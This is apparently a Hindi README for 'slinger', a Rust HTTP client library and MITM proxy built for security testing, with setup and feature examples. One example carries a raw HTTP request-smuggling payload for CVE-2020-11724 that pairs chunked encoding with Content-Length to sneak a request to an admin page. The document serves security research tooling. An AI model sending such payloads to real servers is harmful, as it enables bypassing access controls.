
एक HTTP क्लाइंट जो विशेष रूप से सुरक्षा शोधकर्ताओं के लिए विकसित किया गया है।
हैकर्स के लिए डिज़ाइन किया गया एक Rust HTTP क्लाइंट।
दस्तावेज़ देखें »
डेमो देखें
·
बग रिपोर्ट करें
·
सुविधा का अनुरोध करें

slinger एक कार्यक्षेत्र है जिसमें शामिल हैं:
हैकर्स के लिए डिज़ाइन की गई मुख्य HTTP क्लाइंट लाइब्रेरी।
एक मैन-इन-द-मिडिल (MITM) प्रॉक्सी जो पारदर्शी HTTPS ट्रैफ़िक इंटरसेप्शन करता है, बर्प सूट की तरह।
यह उदाहरण कुछ वैकल्पिक सुविधाओं को सक्षम करता है, इसलिए आपका Cargo.toml इस तरह दिख सकता है:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
और फिर कोड:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
अपने Cargo.toml में जोड़ें:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
उदाहरण कोड:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// लॉगिंग इंटरसेप्टर जोड़ें
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
MITM प्रॉक्सी उपयोग के बारे में अधिक जानकारी के लिए slinger-mitm/README.md देखें।
slinger निम्नलिखित वैकल्पिक सुविधाओं का समर्थन करता है:
tls - बेस TLS सुविधा (किसी विशिष्ट बैकएंड के बिना TLS प्रकार और इंटरफ़ेस सक्षम करता है)rustls - Rustls का उपयोग करके HTTPS समर्थन (tls की आवश्यकता है, शुद्ध Rust कार्यान्वयन)http2 - HTTP/2 प्रोटोकॉल समर्थन (TLS बैकएंड की आवश्यकता है)cookie - कुकी प्रबंधन समर्थनcharset - कैरेक्टर एन्कोडिंग समर्थनserde - सीरियलाइज़ेशन/डीसीरियलाइज़ेशन समर्थनgzip - Gzip संपीड़न समर्थनschema - JSON स्कीमा समर्थनTLS का उपयोग करने के लिए, आपको:
tls सुविधा सक्षम करनी होगीrustls बैकएंड चुनना होगा, या कस्टम TLS कनेक्टर प्रदान करना होगासुविधा संयोजन का उदाहरण:
# rustls बैकएंड का उपयोग करना
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# कस्टम TLS बैकएंड का उपयोग करना (CustomTlsConnector लागू करना आवश्यक है)
slinger = { version = "0.2.8", features = ["tls"] }
यदि आप native-tls, OpenSSL, या अन्य TLS लाइब्रेरी का उपयोग करना चाहते हैं, तो आप कस्टम TLS कनेक्टर लागू कर सकते हैं। native-tls को एकीकृत करने के पूर्ण उदाहरण के लिए native_tls_example.rs देखें।
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// जब आप BurpSuite प्रॉक्सी का उपयोग कर रहे हैं तो "incoming request पर **Connection** हेडर सेट करें" को **अक्षम** करना होगा
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
अधिक उदाहरणों के लिए कृपया example देखें।
योगदान ही ओपन सोर्स समुदाय को सीखने, प्रेरित करने और बनाने के लिए एक अद्भुत स्थान बनाते हैं। आपके द्वारा किए गए किसी भी योगदान की बहुत सराहना की जाती है।
यदि आपके पास कोई सुझाव है जो इसे बेहतर बना सकता है, तो कृपया रिपॉजिटरी को फोर्क करें और एक पुल रिक्वेस्ट बनाएँ। आप बस "enhancement" टैग के साथ एक इश्यू भी खोल सकते हैं। प्रोजेक्ट को स्टार देना न भूलें! फिर से धन्यवाद!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)GPL-3.0-only लाइसेंस के तहत वितरित। अधिक जानकारी के लिए LICENSE देखें।
आपका नाम - @Kali_Team - [email protected]
प्रोजेक्ट लिंक: https://github.com/emo-crab/slinger